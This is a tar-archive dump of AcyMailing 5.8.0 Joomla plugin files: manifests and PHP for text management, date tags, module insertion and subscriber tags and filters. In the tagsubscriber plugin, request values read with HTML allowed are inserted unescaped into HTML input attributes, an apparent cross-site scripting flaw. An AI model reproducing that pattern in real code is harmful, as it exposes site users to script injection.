	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to remove some text from your Newsletter or add a signature at the end of all your Newsletters or add/remove an e-mail from the queue...</description>
	<files>
		<filename plugin="managetext">managetext.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-managetext"/>
		<param name="removetext" type="text" size="100" default="{reg},{/reg},{pub},{/pub}" label="Text to remove" description="Enter the different strings you want AcyMailing to remove and separate them with a comma. Example : {reg},{/reg},{pub},{/pub}" />
		<param name="removetags" type="text" size="100" default="youtube" label="Code to remove" description="AcyMailing will remove all tags specified in this option and its content, separate them with a comma" />

		<param name="footer" type="textarea" rows="5" cols="35" default="" label="Footer" description="Write the text you want to be added at the end of each e-mail" />
		<param name="@spacer" type="spacer" default="" label="" description="" />

		<param name="frontendaccess" type="list" default="all" label="Front-end Access for filter" description="You can restrict the access to the filter 'Randomly select X Users' on the Front-end">
			<option value="all">Always display this filter</option>
			<option value="none">Don't display this filter on the front-end</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-managetext"/>
				<field name="removetext" type="text" size="100" default="{reg},{/reg},{pub},{/pub}" label="Text to remove" description="Enter the different strings you want AcyMailing to remove and separate them with a comma. Example : {reg},{/reg},{pub},{/pub}" />
				<field name="removetags" type="text" size="100" default="youtube" label="Code to remove" description="AcyMailing will remove all tags specified in this option and its content, separate them with a comma" />

				<field name="footer" type="textarea" rows="5" cols="35" default="" label="Footer" description="Write the text you want to be added at the end of each e-mail" filter="SAFEHTML" />
				<field name="@spacer" type="spacer" default="" label="" description="" />

				<field name="frontendaccess" type="list" default="all" label="Front-end Access for filter" description="You can restrict the access to the filter 'Randomly select X Users' on the Front-end">
					<option value="all">Always display this filter</option>
					<option value="none">Don't display this filter on the front-end</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                 acymailing/tagtime/tagtime.php                                                                      0000705                 00000007234 15242051520 0012456 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingTagtime extends JPlugin{

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'tagtime');
			$this->params = new acyParameter($plugin->params);
		}
	}


	function acymailing_getPluginType(){

		if($this->params->get('frontendaccess') == 'none' && !acymailing_isAdmin()) return;
		$onePlugin = new stdClass();
		$onePlugin->name = acymailing_translation('ACY_TIME');
		$onePlugin->function = 'acymailingtagtime_show';
		$onePlugin->help = 'plugin-tagtime';

		return $onePlugin;
	}

	function acymailingtagtime_show(){

		$text = '<br style="clear:both;"/><div class="onelineblockoptions"><table class="acymailing_table" cellpadding="1">';

		$others = array();
		$others['{date}'] = 'DATE_FORMAT_LC';
		$others['{date:1}'] = 'DATE_FORMAT_LC1';
		$others['{date:2}'] = 'DATE_FORMAT_LC2';
		$others['{date:3}'] = 'DATE_FORMAT_LC3';
		$others['{date:4}'] = 'DATE_FORMAT_LC4';
		$others['{date:%m/%d/%Y}'] = '%m/%d/%Y';
		$others['{date:%d/%m/%y}'] = '%d/%m/%y';
		$others['{date:%A}'] = '%A';
		$others['{date:%B}'] = '%B';


		$k = 0;
		foreach($others as $tagname => $tag){
			$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="setTag(\''.$tagname.'\');insertTag();" ><td class="acytdcheckbox"></td><td>'.$tag.'</td><td>'.acymailing_getDate(time(), acymailing_translation($tag)).'</td></tr>';
			$k = 1 - $k;
		}

		$text .= '</table></div>';

		echo $text;
	}

	function acymailing_replacetags(&$email, $send = true){

		$match = '#{date:?([^:].*)?}#Ui';
		$variables = array('subject', 'body', 'altbody');

		foreach($variables as $var){
			$email->$var = str_replace(array('{mailid}', '%7Bmailid%7D', '{emailsubject}'), array($email->mailid, $email->mailid, $email->subject), $email->$var);
		}
		$email->body = str_replace('{textversion}', nl2br($email->altbody), $email->body);


		$found = false;
		foreach($variables as $var){
			if(empty($email->$var)) continue;
			$found = preg_match_all($match, $email->$var, $results[$var]) || $found;
			if(empty($results[$var][0])) unset($results[$var]);
		}

		if(!$found) return;

		$tags = array();
		foreach($results as $var => $allresults){
			foreach($allresults[0] as $i => $oneTag){
				if(isset($tags[$oneTag])) continue;
				$arguments = explode('|', strip_tags($allresults[1][$i]));
				$parameter = new stdClass();
				$parameter->format = $arguments[0];
				for($i = 1; $i < count($arguments); $i++){
					$args = explode(':', $arguments[$i]);
					$arg0 = trim($args[0]);
					if(isset($args[1])){
						$parameter->$arg0 = $args[1];
					}else{
						$parameter->$arg0 = true;
					}
				}

				$time = time();
				if(!empty($parameter->senddate) && !empty($email->senddate)) $time = $email->senddate;
				if(!empty($parameter->add)) $time += intval($parameter->add);
				if(!empty($parameter->remove)) $time -= intval($parameter->remove);

				if(empty($parameter->format) OR is_numeric($parameter->format)){
					$tags[$oneTag] = acymailing_getDate($time, acymailing_translation('DATE_FORMAT_LC'.$parameter->format));
				}else{
					$tags[$oneTag] = acymailing_getDate($time, $parameter->format);
				}
			}
		}

		foreach(array_keys($results) as $var){
			$email->$var = str_replace(array_keys($tags), $tags, $email->$var);
		}
	}
}//endclass
                                                                                                                                                                                                                                                                                                                                                                    acymailing/tagtime/tagtime.xml                                                                      0000705                 00000003425 15242051520 0012465 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="acymailing">
	<name>AcyMailing Tag : Date / Time</name>
	<creationDate>juillet 2017</creationDate>
	<version>5.8.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to add time or date in your Newsletter</description>
	<files>
		<filename plugin="tagtime">tagtime.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagtime"/>
		<param name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
			<option value="all">Always display this tag system</option>
			<option value="none">Don't display this tag system on the front-end</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagtime"/>
				<field name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
					<option value="all">Always display this tag system</option>
					<option value="none">Don't display this tag system on the front-end</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                           acymailing/tagtime/index.html                                                                       0000705                 00000000054 15242051520 0012301 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acymailing/tagmodule/index.html                                                                     0000705                 00000000054 15242051520 0012630 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acymailing/tagmodule/tagmodule.php                                                                  0000705                 00000020706 15242051520 0013333 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingTagmodule extends JPlugin{

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$db = JFactory::getDBO();
			if(!ACYMAILING_J16){
				$db->setQuery("SELECT `params` FROM `#__plugins` WHERE `element` = 'tagmodule' AND `folder`= 'acymailing' LIMIT 1");
			}else{
				$db->setQuery("SELECT `params` FROM `#__extensions` WHERE `element` = 'tagmodule' AND `type` = 'plugin' AND `folder`= 'acymailing' LIMIT 1");
			}
			$params = $db->loadResult();
			$this->params = new acyParameter($params);
		}
	}


	function acymailing_getPluginType(){

		if($this->params->get('frontendaccess') == 'none' && !acymailing_isAdmin()) return;
		$onePlugin = new stdClass();
		$onePlugin->name = acymailing_translation('TAG_MODULES');
		$onePlugin->function = 'acymailingtagmodule_show';
		$onePlugin->help = 'plugin-tagmodule';

		return $onePlugin;
	}

	function acymailingtagmodule_show(){
		?>
		<script language="javascript" type="text/javascript">
			<!--
			function insertModule(id){
				tagString = '{module:' + id;
				if(window.document.getElementById('jflang') && window.document.getElementById('jflang').value != ''){
					tagString += '|lang:';
					tagString += window.document.getElementById('jflang').value;
				}
				tagString += '}';

				setTag(tagString);
				insertTag();
			}
			//-->
		</script>
		<br style="clear:both;">
		<?php
		$paramBase = ACYMAILING_COMPONENT.'.tagmodule';
		$search = acymailing_getUserVar($paramBase.".search", 'search', '', 'string');

		$excludedModules = array('mod_poll', 'mod_login', 'mod_breadcrumbs', 'mod_acymailing', 'mod_wrapper');
		$filters = array();
		$filters[] = '`module` NOT IN (\''.implode('\',\'', $excludedModules).'\')';
		$filters[] = '`published` != -1';

		if(!empty($search)){
			$searchFields = array('title', 'position', 'module');
			$searchVal = '\'%'.acymailing_getEscaped($search, true).'%\'';
			$filters[] = implode(" LIKE $searchVal OR ", $searchFields)." LIKE $searchVal";
		}

		echo '<div class="onelineblockoptions">';
		$text = '<table class="acymailing_table" cellpadding="1" width="100%">';
		$db = JFactory::getDBO();
		$db->setQuery('SELECT id, title, position, module FROM #__modules WHERE ('.implode(') AND (', $filters).') ORDER BY `position`,`ordering`');
		$modules = $db->loadObjectList();

		$jflanguages = acymailing_get('type.jflanguages');
		echo $jflanguages->display('lang');

		acymailing_listingsearch($search);

		$k = 0;
		foreach($modules as $oneModule){
			$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="insertModule(\''.$oneModule->id.'\');" ><td class="acytdcheckbox" style="min-width:35px;"></td><td>'.acymailing_dispSearch($oneModule->title, $search).'</td><td nowrap="nowrap" width="60px">'.acymailing_dispSearch($oneModule->module, $search).'</td><td nowrap="nowrap" width="40px">'.acymailing_dispSearch($oneModule->position, $search).'</td></tr>';
			$k = 1 - $k;
		}
		$text .= '</table></div>';
		$text .= '<input type="hidden" name="limitstart" value="0" />';

		echo $text;
	}

	function acymailing_replacetags(&$email, $send = true){

		$match = '#{module:([0-9]*)(\|lang:(.*))?}#Ui';
		$variables = array('body', 'altbody', 'subject');
		$found = false;
		foreach($variables as $var){
			if(empty($email->$var)) continue;
			$found = preg_match_all($match, $email->$var, $results[$var]) || $found;
			if(empty($results[$var][0])) unset($results[$var]);
		}

		if(!$found) return;
		$values = null;

		$tags = array();
		$textVersion = array();
		$subjectVersion = array();
		$config = acymailing_config();
		$mailHelper = acymailing_get('helper.mailer');
		$itemid = $config->get('itemid');
		$item = empty($itemid) ? '' : '&Itemid='.$itemid;

		@ini_set('default_socket_timeout', 10);
		@ini_set('user_agent', "Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/20100101 Firefox/17.0");
		@ini_set('allow_url_fopen', '1');

		foreach($results as $var => $allresults){
			foreach($allresults[0] as $i => $oneTag){
				$lang = empty($allresults[3][$i]) ? '' : '&lang='.substr($allresults[3][$i], 0, strpos($allresults[3][$i], ','));
				if(empty($lang) && !empty($email->language)) $lang = '&lang='.$email->language;
				if(isset($tags[$oneTag])) continue;
				$mailid = (!empty($email->mailid)) ? '&mailid='.$email->mailid : '';
				$loc = ACYMAILING_LIVE.'index.php?option=com_acymailing&tmpl=component'.$mailid.'&ctrl=moduleloader&id='.$allresults[1][$i].'&seckey='.urlencode($config->get('security_key')).'&time='.time().$lang.$item;
				if(function_exists('curl_init') AND ($this->params->get('getmethod') == 'curl' OR !ini_get('allow_url_fopen'))){
					$ch = curl_init();
					curl_setopt($ch, CURLOPT_URL, $loc);
					curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
					curl_setopt($ch, CURLOPT_TIMEOUT, 10);
					@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
					curl_setopt($ch, CURLOPT_AUTOREFERER, true);
					curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/20100101 Firefox/17.0");
					curl_setopt($ch, CURLOPT_REFERER, ACYMAILING_LIVE);
					$tags[$oneTag] = curl_exec($ch);
					curl_close($ch);
				}else{
					$tags[$oneTag] = file_get_contents($loc);
				}
				$localone = str_replace(ACYMAILING_LIVE, '', $loc);
				$tags[$oneTag] = str_replace(array($localone, str_replace('&', '&amp;', $localone)), 'index.php', $tags[$oneTag]);
				$tags[$oneTag] = preg_replace("#(onclick|onfocus|onload|onblur) *= *\"(?:(?!\").)*\"#iU", '', $tags[$oneTag]);
				$tags[$oneTag] = preg_replace("#< *script(?:(?!< */ *script *>).)*< */ *script *>#isU", '', $tags[$oneTag]);
				$textVersion[$oneTag] = $mailHelper->textVersion($tags[$oneTag]);
				$subjectVersion[$oneTag] = trim(strip_tags($textVersion[$oneTag]));
			}
		}

		if(!empty($email->body)) $email->body = str_replace(array_keys($tags), $tags, $email->body);
		if(!empty($email->altbody)) $email->altbody = str_replace(array_keys($textVersion), $textVersion, $email->altbody);
		if(!empty($email->subject)) $email->subject = str_replace(array_keys($subjectVersion), $subjectVersion, $email->subject);
	}//endfct

	function onTestPlugin(){
		$config = acymailing_config();
		$itemid = $config->get('itemid');
		$item = empty($itemid) ? '' : '&Itemid='.$itemid;

		@ini_set('default_socket_timeout', 10);
		@ini_set('user_agent', "Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/20100101 Firefox/17.0");
		@ini_set('allow_url_fopen', '1');

		acymailing_displayErrors();
		$loc = ACYMAILING_LIVE.'index.php?option=com_acymailing&tmpl=component&ctrl=moduleloader&seckey='.$config->get('security_key').'&time='.time().$item;

		if($this->params->get('getmethod') == 'curl'){
			acymailing_display('Using CURL method : '.$loc, 'info');
			if(!ini_get('allow_url_fopen')){
				acymailing_display('PHP Setting allow_url_fopen not enabled', 'error');
				return;
			}
			if(!function_exists('curl_init')){
				acymailing_display('CURL methods not found, please enable the CURL PHP Extensions on your server', 'error');
				return;
			}

			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $loc);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($ch, CURLOPT_TIMEOUT, 10);
			@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
			curl_setopt($ch, CURLOPT_AUTOREFERER, true);
			curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/20100101 Firefox/17.0");
			curl_setopt($ch, CURLOPT_REFERER, ACYMAILING_LIVE);

			$result = curl_exec($ch);
			if($result === false){
				acymailing_display('Error number '.curl_errno($ch).' : '.curl_error($ch), 'error');
			}else{
				acymailing_display($result, 'info');
			}
			curl_close($ch);
		}else{
			acymailing_display('Using File_get_contents function : '.$loc, 'info');
			$result = file_get_contents($loc);
			if($result){
				acymailing_display($result, 'success');
			}else{
				acymailing_display('Error. Please make sure the function file_get_contents is enabled on your website', 'error');
				if(function_exists('curl_init')){
					acymailing_display('The cURL function is apparently enabled on your server so you should select the cURL option', 'info');
				}
			}
		}
	}
}//endclass
                                                          acymailing/tagmodule/tagmodule.xml                                                                  0000705                 00000005537 15242051520 0013351 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="acymailing">
	<name>AcyMailing Tag : Insert a Module</name>
	<creationDate>juillet 2017</creationDate>
	<version>5.8.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to insert a Joomla Module in your Newsletter</description>
	<files>
		<filename plugin="tagmodule">tagmodule.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagmodule"/>
		<param name="acymailing" type="testplug" label="Test" description="This plugin requires a special PHP Configuration. Please click on this button to test if you're PHP configuration is compatible" default="tagmodule"/>
		<param name="getmethod" type="radio" default="fileget" label="Method to load the module" description="In case of the file_get_contents method does not use, you can try the cURL method to load the module">
			<option value="fileget">file_get_contents</option>
			<option value="curl">cURL</option>
		</param>
		<param name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
			<option value="all">Always display this tag system</option>
			<option value="none">Don't display this tag system on the front-end</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagmodule"/>
				<field name="acymailing" type="testplug" label="Test" description="This plugin requires a special PHP Configuration. Please click on this button to test if you're PHP configuration is compatible" default="tagmodule"/>
				<field name="getmethod" type="radio" default="fileget" label="Method to load the module" description="In case of the file_get_contents method does not use, you can try the cURL method to load the module">
					<option value="fileget">file_get_contents</option>
					<option value="curl">cURL</option>
				</field>
				<field name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
					<option value="all">Always display this tag system</option>
					<option value="none">Don't display this tag system on the front-end</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                 acymailing/tagsubscriber/tagsubscriber.php                                                          0000705                 00000045563 15242051520 0015077 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingTagsubscriber extends JPlugin{

	var $fields = array();

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'tagsubscriber');
			$this->params = new acyParameter($plugin->params);
		}
	}

	function acymailing_getPluginType(){
		if($this->params->get('frontendaccess') == 'none' && !acymailing_isAdmin()) return;
		$onePlugin = new stdClass();
		$onePlugin->name = acymailing_translation('SUBSCRIBER_SUBSCRIBER');
		$onePlugin->function = 'acymailingtagsubscriber_show';
		$onePlugin->help = 'plugin-tagsubscriber';

		return $onePlugin;
	}

	function acymailingtagsubscriber_show(){
		$fields = acymailing_getColumns('#__acymailing_subscriber');

		$descriptions['subid'] = acymailing_translation('SUBSCRIBER_ID');
		$descriptions['email'] = acymailing_translation('SUBSCRIBER_EMAIL');
		$descriptions['name'] = acymailing_translation('SUBSCRIBER_NAME');
		$descriptions['userid'] = acymailing_translation('SUBSCRIBER_USERID');
		$descriptions['ip'] = acymailing_translation('SUBSCRIBER_IP');
		$descriptions['created'] = acymailing_translation('SUBSCRIBER_CREATED');
		echo '<br style="clear:both;"/>';
		if(acymailing_getVar('none', 'type') == 'notification'){
			$text = '<div class="onelineblockoptions">
						<span class="acyblocktitle">'.acymailing_translation('CURRENT_USER_INFO').'</span>
						<table class="acymailing_table" cellpadding="1">';
			$k = 0;
			foreach($fields as $fieldname => $oneField){
				if(!isset($descriptions[$fieldname]) AND $oneField == 'tinyint') continue;
				if(empty($descriptions[$fieldname])) $descriptions[$fieldname] = '';

				$type = '';
				if(in_array($fieldname, array('created', 'confirmed_date', 'lastclick_date', 'lastsent_date', 'lastopen_date'))) $type = '|type:time';
				$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="setTag(\'{user:'.$fieldname.$type.'}\');insertTag();" ><td class="acytdcheckbox"></td><td>'.$fieldname.'</td><td>'.$descriptions[$fieldname].'</td></tr>';
				$k = 1 - $k;
			}
			$text .= '</table></div>';
			echo $text;
		}

		$text = '<div class="onelineblockoptions">
					<span class="acyblocktitle">'.acymailing_translation('RECEIVER_INFORMATION').'</span>
					<table class="acymailing_table" cellpadding="1">';

		$others = array();
		$others['{subtag:name|part:first|ucfirst}'] = array('name' => acymailing_translation('SUBSCRIBER_FIRSTPART'), 'desc' => acymailing_translation('SUBSCRIBER_FIRSTPART').' '.acymailing_translation('SUBSCRIBER_FIRSTPART_DESC'));
		$others['{subtag:name|part:last|ucfirst}'] = array('name' => acymailing_translation('SUBSCRIBER_LASTPART'), 'desc' => acymailing_translation('SUBSCRIBER_LASTPART').' '.acymailing_translation('SUBSCRIBER_LASTPART_DESC'));

		$k = 0;

		foreach($others as $tagname => $tag){
			$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="setTag(\''.$tagname.'\');insertTag();" ><td class="acytdcheckbox"></td><td>'.$tag['name'].'</td><td>'.$tag['desc'].'</td></tr>';
			$k = 1 - $k;
		}

		foreach($fields as $fieldname => $oneField){
			if(!isset($descriptions[$fieldname]) AND $oneField == 'tinyint') continue;
			if(empty($descriptions[$fieldname])) $descriptions[$fieldname] = '';

			$type = '';
			if(in_array($fieldname, array('created', 'confirmed_date', 'lastclick_date', 'lastopen_date', 'lastsent_date'))) $type = '|type:time';
			$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="setTag(\'{subtag:'.$fieldname.$type.'}\');insertTag();" ><td class="acytdcheckbox"></td><td>'.$fieldname.'</td><td>'.$descriptions[$fieldname].'</td></tr>';
			$k = 1 - $k;
		}

		$text .= '</table></div>';

		echo $text;
	}

	function acymailing_replaceusertags(&$email, &$user, $send = true){
		$this->pluginsHelper = acymailing_get('helper.acyplugins');
		$extractedTags = $this->pluginsHelper->extractTags($email, 'subtag');
		if(empty($extractedTags)) return;

		$tags = array();
		foreach($extractedTags as $i => $oneTag){
			if(isset($tags[$i])) continue;
			$tags[$i] = $this->replaceSubTag($oneTag, $user);
		}

		$this->pluginsHelper->replaceTags($email, $tags);
	}

	private function replaceSubTag(&$mytag, $user){
		if(!empty($mytag->juser)){
			$subClass = acymailing_get('class.subscriber');
			if(strpos($mytag->juser, '@') !== false){
				$userTmp = $subClass->get($mytag->juser);
			}else{
				$db = JFactory::getDBO();
				$query = "SELECT * FROM #__users WHERE username= ".$db->quote($mytag->juser);
				$db->setQuery($query);
				$JuserTmp = $db->loadObject();
				if(!empty($JuserTmp->email)) $userTmp = $subClass->get($JuserTmp->email);
			}
			if(!empty($userTmp)){
				$user = $userTmp;
			}else acymailing_enqueueMessage('User not found for tag juser', 'warning');
		}

		$field = $mytag->id;
		if(empty($mytag->titlevalue)){
			$replaceme = (isset($user->$field) && strlen($user->$field) > 0) ? $user->$field : $mytag->default;
		}else{
			$fieldClass = acymailing_get('class.fields');
			if(!isset($this->fields[$field])){
				$this->fields[$field] = $fieldClass->get($field);
			}
			$replaceme = (isset($user->$field) && strlen($user->$field) > 0 && !empty($this->fields[$field]->value[$user->$field]->value)) ? $fieldClass->trans($this->fields[$field]->value[$user->$field]->value) : $mytag->default;
		}
		$replaceme = nl2br($replaceme);

		$this->pluginsHelper->formatString($replaceme, $mytag);

		return $replaceme;
	}

	function onAcyDisplayFilters(&$type, $context = "massactions"){

		if($this->params->get('displayfilter_'.$context, true) == false) return;

		$fields = acymailing_getColumns('#__acymailing_subscriber');
		if(empty($fields)) return;

		$field = array();
		$field[] = acymailing_selectOption(0, '- - -');
		foreach($fields as $oneField => $fieldType){
			$field[] = acymailing_selectOption($oneField, $oneField);
		}
		$type['acymailingfield'] = acymailing_translation('ACYMAILING_FIELD');

		$jsOnChange = "displayCondFilter('displaySubscriberValues', 'toChange__num__',__num__,'map='+document.getElementById('filter__num__acymailingfieldmap').value+'&cond='+document.getElementById('filter__num__acymailingfieldoperator').value+'&value='+document.getElementById('filter__num__acymailingfieldvalue').value); ";

		$operators = acymailing_get('type.operators');
		$operators->extra = 'onchange="'.$jsOnChange.'"';

		$return = '<div id="filter__num__acymailingfield">'.acymailing_select($field, "filter[__num__][acymailingfield][map]", 'onchange="'.$jsOnChange.'" class="inputbox" size="1"', 'value', 'text');
		$return .= ' '.$operators->display("filter[__num__][acymailingfield][operator]").' <span id="toChange__num__"><input onchange="countresults(__num__)" class="inputbox" type="text" name="filter[__num__][acymailingfield][value]" style="width:200px" value="" id="filter__num__acymailingfieldvalue"></span></div>';

		return $return;
	}

	function onAcyTriggerFct_displaySubscriberValues(){
		$num = acymailing_getVar('int', 'num');
		$map = acymailing_getVar('cmd', 'map');
		$cond = acymailing_getVar('string', 'cond', '', '', JREQUEST_ALLOWHTML);
		$value = acymailing_getVar('string', 'value', '', '', JREQUEST_ALLOWHTML);

		$emptyInputReturn = '<input onchange="countresults('.$num.')" class="inputbox" type="text" name="filter['.$num.'][acymailingfield][value]" id="filter'.$num.'acymailingfieldvalue" style="width:200px" value="'.$value.'">';
		$dateInput = '<input onClick="displayDatePicker(this,event)" onchange="countresults('.$num.')" class="inputbox" type="text" name="filter['.$num.'][acymailingfield][value]" id="filter'.$num.'acymailingfieldvalue" style="width:200px" value="'.$value.'">';

		if(in_array($map, array('created', 'confirmed_date', 'lastopen_date', 'lastclick_date'))) return $dateInput;

		if(empty($map) || $map == 'key' || !in_array($cond, array('=', '!='))) return $emptyInputReturn;

		$db = JFactory::getDBO();
		$query = 'SELECT DISTINCT `'.acymailing_secureField($map).'` AS value FROM #__acymailing_subscriber LIMIT 100';
		$db->setQuery($query);
		$prop = $db->loadObjectList();

		if(empty($prop) || count($prop) >= 100 || (count($prop) == 1 && (empty($prop[0]->value) || $prop[0]->value == '-'))) return $emptyInputReturn;

		return acymailing_select($prop, "filter[$num][acymailingfield][value]", 'onchange="countresults('.$num.')" class="inputbox" size="1" style="width:200px"', 'value', 'value', $value, 'filter'.$num.'acymailingfieldvalue');
	}

	function onAcyDisplayFilter_acymailingfield($filter){
		return acymailing_translation('ACYMAILING_FIELD').' : '.$filter['map'].' '.$filter['operator'].' '.$filter['value'];
	}

	function onAcyProcessFilter_acymailingfield(&$query, $filter, $num){
		if(empty($filter['map'])) return;
		$type = '';
		$value = acymailing_replaceDate($filter['value']);

		if(strpos($filter['value'], '{time}') !== false && !in_array($filter['map'], array('created', 'confirmed_date', 'lastclick_date', 'lastopen_date', 'lastsent_date'))){
			$value = strftime('%Y-%m-%d', $value);
		}

		if(in_array($filter['map'], array('created', 'confirmed_date', 'lastclick_date', 'lastopen_date', 'lastsent_date'))){
			if(!is_numeric($value)) $value = strtotime($value);
			$type = 'timestamp';
		}

		$query->where[] = $query->convertQuery('sub', $filter['map'], $filter['operator'], $value, $type);
	}

	function onAcyProcessFilterCount_acymailingfield(&$query, $filter, $num){
		$this->onAcyProcessFilter_acymailingfield($query, $filter, $num);
		return acymailing_translation_sprintf('SELECTED_USERS', $query->count());
	}

	function onAcyDisplayActions(&$type){
		$config = acymailing_config();

		$type['acymailingfield'] = acymailing_translation('BOUNCE_ACTION');
		$status = array();
		$status[] = acymailing_selectOption('confirm', acymailing_translation('CONFIRM_USERS'));
		$status[] = acymailing_selectOption('unconfirm', acymailing_translation('ACY_ACTION_UNCONFIRM'));
		$status[] = acymailing_selectOption('enable', acymailing_translation('ENABLE_USERS'));
		$status[] = acymailing_selectOption('block', acymailing_translation('BLOCK_USERS'));

		if(acymailing_isAllowed($config->get('acl_subscriber_delete', 'all'))) $status[] = acymailing_selectOption('delete', acymailing_translation('DELETE_USERS'));

		$content = '<div id="action__num__acymailingfield">'.acymailing_select($status, "action[__num__][acymailingfield][action]", 'class="inputbox" size="1"', 'value', 'text').'</div>';

		if(!acymailing_level(3)) return $content;

		$fields = acymailing_getColumns('#__acymailing_subscriber');
		if(empty($fields)) return $content;

		$field = array();
		$field[] = acymailing_selectOption(0, '- - -');
		foreach($fields as $oneField => $fieldType){
			if(in_array($oneField, array('name', 'email', 'subid', 'created', 'ip'))) continue;
			$field[] = acymailing_selectOption($oneField, $oneField);
		}

		$jsOnChange = "if(document.getElementById('action__num__acymailingfieldvalvalue')!= undefined){ currentVal=document.getElementById('action__num__acymailingfieldvalvalue').value;} else{currentVal='';}
			displayCondFilter('displayFieldPossibleValues', 'toChangeAction__num__',__num__,'map='+document.getElementById('action__num__acymailingfieldvalmap').value+'&value='+currentVal+'&operator='+document.getElementById('action__num__acymailingfieldvaloperator').value); ";

		$operator = array();
		$operator[] = acymailing_selectOption('=', '=');
		$operator[] = acymailing_selectOption('+', '+');
		$operator[] = acymailing_selectOption('-', '-');
		$operator[] = acymailing_selectOption('addend', acymailing_translation('ACY_OPERATOR_ADDEND'));
		$operator[] = acymailing_selectOption('addbegin', acymailing_translation('ACY_OPERATOR_ADDBEGINNING'));

		$content .= '<div id="action__num__acymailingfieldval">'.acymailing_select($field, "action[__num__][acymailingfieldval][map]", 'onchange="'.$jsOnChange.'" class="inputbox" size="1"', 'value', 'text');
